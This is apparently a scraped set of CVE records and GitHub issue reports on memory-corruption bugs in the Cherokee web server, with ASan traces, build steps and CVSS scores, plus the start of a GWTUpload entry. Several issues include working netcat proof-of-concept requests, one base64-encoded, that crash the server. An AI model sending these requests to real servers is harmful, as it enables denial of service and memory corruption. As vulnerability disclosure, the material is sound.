fork_and_execute_cgi_via_spawner /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:802 #2 0x559e00d5a5a8 in cherokee_handler_cgi_init /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:382 #3 0x559e00dd244c in cherokee_handler_init /home/mmm/fuzz/webserver/cherokee/handler.c:93 #4 0x559e00dcf233 in cherokee_connection_open_request /home/mmm/fuzz/webserver/cherokee/connection.c:2678 #5 0x559e00d0b889 in process_active_connections /home/mmm/fuzz/webserver/cherokee/thread.c:1165 #6 0x559e00d11549 in cherokee_thread_step_MULTI_THREAD /home/mmm/fuzz/webserver/cherokee/thread.c:2086 #7 0x559e00d05300 in thread_routine /home/mmm/fuzz/webserver/cherokee/thread.c:99 #8 0x7f01f69f46da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) #9 0x7f01f651988e in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e) 0x6180000117c0 is located 0 bytes to the right of 832-byte region [0x618000011480,0x6180000117c0) allocated by thread T4 here: #0 0x7f01f6f22b50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x559e00d5908e in cherokee_handler_cgi_new /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:124 #2 0x559e00dcd8b0 in cherokee_connection_create_handler /home/mmm/fuzz/webserver/cherokee/connection.c:2446 #3 0x559e00d0b1f1 in process_active_connections /home/mmm/fuzz/webserver/cherokee/thread.c:1104 #4 0x559e00d11549 in cherokee_thread_step_MULTI_THREAD /home/mmm/fuzz/webserver/cherokee/thread.c:2086 #5 0x559e00d05300 in thread_routine /home/mmm/fuzz/webserver/cherokee/thread.c:99 #6 0x7f01f69f46da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) Thread T4 created by T0 here: #0 0x7f01f6e7bd2f in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x37d2f) #1 0x559e00d06219 in cherokee_thread_new /home/mmm/fuzz/webserver/cherokee/thread.c:247 #2 0x559e00cee73f in initialize_server_threads /home/mmm/fuzz/webserver/cherokee/server.c:671 #3 0x559e00cf0a05 in cherokee_server_initialize /home/mmm/fuzz/webserver/cherokee/server.c:1053 #4 0x559e00c9476f in common_server_initialization /home/mmm/fuzz/webserver/cherokee/main_worker.c:255 #5 0x559e00c951f7 in main /home/mmm/fuzz/webserver/cherokee/main_worker.c:393 #6 0x7f01f6419b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/mmm/fuzz/webserver/cherokee/services-client.c:201 in cherokee_services_client_spawn Shadow bytes around the buggy address: 0x0c307fffa2a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c307fffa2b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c307fffa2c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c307fffa2d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0x0c307fffa2e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 =>0x0c307fffa2f0: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa 0x0c307fffa300: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c307fffa310: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c307fffa320: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c307fffa330: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa 0x0c307fffa340: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==26982==ABORTING ``` ### Setup: - Ubuntu 18.04 64 bit - source code from github, commit 9a75e65b876bcc376cb6b379dca1f7ce4a055c59 - build command: ``` ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no make ``` - files in webroot `mkdir /var/www/test{1..20}; for i in `seq 1 20`; do echo test > test$i/test.html; done` - configuration file [cherokee.txt](https://github.com/cherokee/webserver/files/3432046/cherokee.txt) found by: Mateusz Kocielski, Michał Dardas from LogicalTrust

heap-buffer-overflow in handler cgi

https://api.github.com/repos/cherokee/webserver/issues/1225/comments

1

2019-07-25T14:41:51Z

2019-11-16T20:58:16Z

https://github.com/cherokee/webserver/issues/1225

472,906,399

1,225

1,218

CVE-2019-20799

2020-05-18T00:15:11.237

In Cherokee through 1.2.104, multiple memory corruption errors may be used by a remote attacker to destabilize the work of a server.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1221" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1222" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1225" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1226" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:cherokee-project:cherokee:*:*:*:*:*:*:*:*", "matchCriteriaId": "1FDFC431-553A-4EF1-9450-9F9310415845", "versionEndExcluding": null, "versionEndIncluding": "1.2.104", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "787" ]

787

https://github.com/cherokee/webserver/issues/1226

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cherokee", "webserver" ]

A socket structure is incorrectly used as ipv6 while connecting to a proxy server. ### PoC ``` echo -e "GET /test8/test.html HTTP/1.0\nUser-Agent: python\n\n" | nc 127.0.0.1 80 ``` ### ASAN ``` ==27029==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60600001cd98 at pc 0x55ea3748a492 bp 0x7f6bc42eca90 sp 0x7f6bc42eca80 READ of size 16 at 0x60600001cd98 thread T1 #0 0x55ea3748a491 in cherokee_socket_update_from_addrinfo /home/mmm/fuzz/webserver/cherokee/socket.c:396 #1 0x55ea3752b4c0 in cherokee_handler_proxy_conn_init_socket /home/mmm/fuzz/webserver/cherokee/proxy_hosts.c:465 #2 0x55ea37521029 in cherokee_handler_proxy_init /home/mmm/fuzz/webserver/cherokee/handler_proxy.c:975 #3 0x55ea3758544c in cherokee_handler_init /home/mmm/fuzz/webserver/cherokee/handler.c:93 #4 0x55ea37582233 in cherokee_connection_open_request /home/mmm/fuzz/webserver/cherokee/connection.c:2678 #5 0x55ea374be889 in process_active_connections /home/mmm/fuzz/webserver/cherokee/thread.c:1165 #6 0x55ea374c4549 in cherokee_thread_step_MULTI_THREAD /home/mmm/fuzz/webserver/cherokee/thread.c:2086 #7 0x55ea374b8300 in thread_routine /home/mmm/fuzz/webserver/cherokee/thread.c:99 #8 0x7f6bc7b316da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) #9 0x7f6bc765688e in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e) 0x60600001cda0 is located 0 bytes to the right of 64-byte region [0x60600001cd60,0x60600001cda0) allocated by thread T0 here: #0 0x7f6bc805fb50 in __interceptor_malloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50) #1 0x7f6bc763a4c4 (/lib/x86_64-linux-gnu/libc.so.6+0x1054c4) #2 0x7f6bc763cce3 in getaddrinfo (/lib/x86_64-linux-gnu/libc.so.6+0x107ce3) #3 0x7f6bc801825a (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x9725a) #4 0x55ea3744c08a in cherokee_gethostbyname /home/mmm/fuzz/webserver/cherokee/util.c:793 #5 0x55ea37477a31 in entry_fill_up /home/mmm/fuzz/webserver/cherokee/resolv_cache.c:96 #6 0x55ea374784b4 in table_add_new_entry /home/mmm/fuzz/webserver/cherokee/resolv_cache.c:227 #7 0x55ea3747888b in cherokee_resolv_cache_get_ipstr /home/mmm/fuzz/webserver/cherokee/resolv_cache.c:263 #8 0x55ea374d0a09 in set_host /home/mmm/fuzz/webserver/cherokee/source.c:289 #9 0x55ea374d0b3c in cherokee_source_configure /home/mmm/fuzz/webserver/cherokee/source.c:304 #10 0x55ea374a4c9f in add_source /home/mmm/fuzz/webserver/cherokee/server.c:1243 #11 0x55ea374981e7 in cherokee_config_node_while /home/mmm/fuzz/webserver/cherokee/config_node.c:226 #12 0x55ea374a8f37 in configure_server /home/mmm/fuzz/webserver/cherokee/server.c:1657 #13 0x55ea374a98ad in cherokee_server_read_config_file /home/mmm/fuzz/webserver/cherokee/server.c:1751 #14 0x55ea37447644 in common_server_initialization /home/mmm/fuzz/webserver/cherokee/main_worker.c:245 #15 0x55ea374481f7 in main /home/mmm/fuzz/webserver/cherokee/main_worker.c:393 #16 0x7f6bc7556b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) Thread T1 created by T0 here: #0 0x7f6bc7fb8d2f in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x37d2f) #1 0x55ea374b9219 in cherokee_thread_new /home/mmm/fuzz/webserver/cherokee/thread.c:247 #2 0x55ea374a173f in initialize_server_threads /home/mmm/fuzz/webserver/cherokee/server.c:671 #3 0x55ea374a3a05 in cherokee_server_initialize /home/mmm/fuzz/webserver/cherokee/server.c:1053 #4 0x55ea3744776f in common_server_initialization /home/mmm/fuzz/webserver/cherokee/main_worker.c:255 #5 0x55ea374481f7 in main /home/mmm/fuzz/webserver/cherokee/main_worker.c:393 #6 0x7f6bc7556b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/mmm/fuzz/webserver/cherokee/socket.c:396 in cherokee_socket_update_from_addrinfo Shadow bytes around the buggy address: 0x0c0c7fffb960: fa fa fa fa 00 00 00 00 00 00 03 fa fa fa fa fa 0x0c0c7fffb970: 00 00 00 00 00 00 06 fa fa fa fa fa 00 00 00 00 0x0c0c7fffb980: 00 00 03 fa fa fa fa fa 00 00 00 00 00 00 06 fa 0x0c0c7fffb990: fa fa fa fa 00 00 00 00 00 00 04 fa fa fa fa fa 0x0c0c7fffb9a0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 =>0x0c0c7fffb9b0: 00 00 00[00]fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fffb9c0: fa fa fa fa 00 00 00 00 00 00 00 fa fa fa fa fa 0x0c0c7fffb9d0: 00 00 00 00 00 00 00 fa fa fa fa fa 00 00 00 00 0x0c0c7fffb9e0: 00 00 00 00 fa fa fa fa 00 00 00 00 00 00 00 fa 0x0c0c7fffb9f0: fa fa fa fa 00 00 00 00 00 00 00 01 fa fa fa fa 0x0c0c7fffba00: 00 00 00 00 00 00 00 fa fa fa fa fa fd fd fd fd Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe Left alloca redzone: ca Right alloca redzone: cb ==27029==ABORTING ``` ### Setup: - Ubuntu 18.04 64 bit - source code from github, commit 9a75e65b876bcc376cb6b379dca1f7ce4a055c59 - build command: ``` ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no make ``` - files in webroot `mkdir /var/www/test{1..20}; for i in `seq 1 20`; do echo test > test$i/test.html; done` - configuration file [cherokee.txt](https://github.com/cherokee/webserver/files/3432046/cherokee.txt) found by: Mateusz Kocielski, Michał Dardas from LogicalTrust

incorrectly used ipv6 in proxy connection

https://api.github.com/repos/cherokee/webserver/issues/1226/comments

5

2019-07-25T14:44:01Z

2019-11-16T20:57:54Z

https://github.com/cherokee/webserver/issues/1226

472,907,578

1,226

1,219

CVE-2019-20800

2020-05-18T00:15:11.330

In Cherokee through 1.2.104, remote attackers can trigger an out-of-bounds write in cherokee_handler_cgi_add_env_pair in handler_cgi.c by sending many request headers, as demonstrated by a GET request with many "Host: 127.0.0.1" headers.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "HIGH", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 7.5, "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 6.4, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 9.8, "baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 5.9, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1224" }, { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/cherokee/webserver/issues/1224" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://logicaltrust.net/blog/2019/11/cherokee.html" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://security.gentoo.org/glsa/202012-09" } ]

[ { "nodes": [ { "cpeMatch": [ { "criteria": "cpe:2.3:a:cherokee-project:cherokee:*:*:*:*:*:*:*:*", "matchCriteriaId": "1FDFC431-553A-4EF1-9450-9F9310415845", "versionEndExcluding": null, "versionEndIncluding": "1.2.104", "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true } ], "negate": false, "operator": "OR" } ], "operator": null } ]

[ "787" ]

787

https://github.com/cherokee/webserver/issues/1224

[ "Exploit", "Third Party Advisory" ]

github.com

[ "cherokee", "webserver" ]

struct cherokee_handler_cgi_t (handler_cgi.h) consist of a fixed sized array (char *envp[ENV_VAR_NUM]) for environ variables. Sending a request with a lot of headers, causes to increment int envp_last to a value greater than ENV_VAR_NUM resulting in reading outside the array. handler_cgi.c: ``` 310 cgi->envp[cgi->envp_last] = entry; 311 cgi->envp_last++; ``` ### PoC ``` echo -n 'R0VUIC90ZXN0MTAvdGVzdC5odG1sIEhUVFAvMS4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMTcwMTQxMTgzNDYwNDY5MjMxNzMxNjg3MzAzNzE1ODg0MTA1NzI3Ckhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDQyOTQ5NjcyOTUuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpIb3N0OiAxMjcuMC4wLjEKSG9zdDogMTI3LjAuMC4xCkhvc3Q6IDEyNy4wLjAuMQpVc2VyLUFnZW50OiBweXRob24KCgo=' | base64 -d | nc 127.0.0.1 80 ``` ### ASAN ``` ================================================================= ==10864==ERROR: AddressSanitizer: SEGV on unknown address 0x6180001cb3c0 (pc 0x55c74bfd2f94 bp 0x7f6bac2e6220 sp 0x7f6bac2e61f0 T7) ==10864==The signal is caused by a WRITE memory access. #0 0x55c74bfd2f93 in cherokee_handler_cgi_add_env_pair /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:310 #1 0x55c74c02d6e4 in foreach_header_add_unknown_variable /home/mmm/fuzz/webserver/cherokee/handler_cgi_base.c:664 #2 0x55c74c09fe32 in cherokee_header_foreach_unknown /home/mmm/fuzz/webserver/cherokee/header.c:1220 #3 0x55c74c02db36 in cherokee_handler_cgi_base_build_envp /home/mmm/fuzz/webserver/cherokee/handler_cgi_base.c:696 #4 0x55c74bfd30f3 in add_environment /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:328 #5 0x55c74bfd6912 in fork_and_execute_cgi_via_spawner /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:787 #6 0x55c74bfd35a8 in cherokee_handler_cgi_init /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:382 #7 0x55c74c04b44c in cherokee_handler_init /home/mmm/fuzz/webserver/cherokee/handler.c:93 #8 0x55c74c048233 in cherokee_connection_open_request /home/mmm/fuzz/webserver/cherokee/connection.c:2678 #9 0x55c74bf84889 in process_active_connections /home/mmm/fuzz/webserver/cherokee/thread.c:1165 #10 0x55c74bf8a549 in cherokee_thread_step_MULTI_THREAD /home/mmm/fuzz/webserver/cherokee/thread.c:2086 #11 0x55c74bf7e300 in thread_routine /home/mmm/fuzz/webserver/cherokee/thread.c:99 #12 0x7f6bb2b166da in start_thread (/lib/x86_64-linux-gnu/libpthread.so.0+0x76da) #13 0x7f6bb263b88e in __clone (/lib/x86_64-linux-gnu/libc.so.6+0x12188e) AddressSanitizer can not provide additional info. SUMMARY: AddressSanitizer: SEGV /home/mmm/fuzz/webserver/cherokee/handler_cgi.c:310 in cherokee_handler_cgi_add_env_pair Thread T7 created by T0 here: #0 0x7f6bb2f9dd2f in __interceptor_pthread_create (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x37d2f) #1 0x55c74bf7f219 in cherokee_thread_new /home/mmm/fuzz/webserver/cherokee/thread.c:247 #2 0x55c74bf6773f in initialize_server_threads /home/mmm/fuzz/webserver/cherokee/server.c:671 #3 0x55c74bf69a05 in cherokee_server_initialize /home/mmm/fuzz/webserver/cherokee/server.c:1053 #4 0x55c74bf0d76f in common_server_initialization /home/mmm/fuzz/webserver/cherokee/main_worker.c:255 #5 0x55c74bf0e1f7 in main /home/mmm/fuzz/webserver/cherokee/main_worker.c:393 #6 0x7f6bb253bb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96) ==10864==ABORTING ``` ### Setup: - Ubuntu 18.04 64 bit - source code from github, commit 9a75e65b876bcc376cb6b379dca1f7ce4a055c59 - build command: ``` ac_cv_func_realloc_0_nonnull=yes ac_cv_func_malloc_0_nonnull=yes LDFLAGS="-lasan" LDADD="-lasan" CFLAGS="-fsanitize=address -ggdb -O0 -fprofile-arcs -ftest-coverage" ./configure --prefix=`pwd`/bin --enable-trace --enable-static-module=all --enable-static --enable-shared=no make ``` - files in webroot `mkdir /var/www/test{1..20}; for i in `seq 1 20`; do echo test > test$i/test.html; done` - configuration file [cherokee.txt](https://github.com/cherokee/webserver/files/3432046/cherokee.txt) found by: Mateusz Kocielski, Michał Dardas from LogicalTrust

CGI Handler too many headers

https://api.github.com/repos/cherokee/webserver/issues/1224/comments

1

2019-07-25T14:37:07Z

2019-11-16T19:39:09Z

https://github.com/cherokee/webserver/issues/1224

472,903,806

1,224

1,220

CVE-2020-13128

2020-05-18T00:15:11.547

An issue was discovered in Manolo GWTUpload 1.0.3. server/UploadServlet.java (the servlet for handling file upload) accepts a delay parameter that causes a thread to sleep. It can be abused to cause all of a server's threads to sleep, leading to denial of service.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "PARTIAL", "baseScore": 5, "confidentialityImpact": "NONE", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:N/I:N/A:P", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": null, "cvssMetricV31": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "version": "3.1" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV40": null }

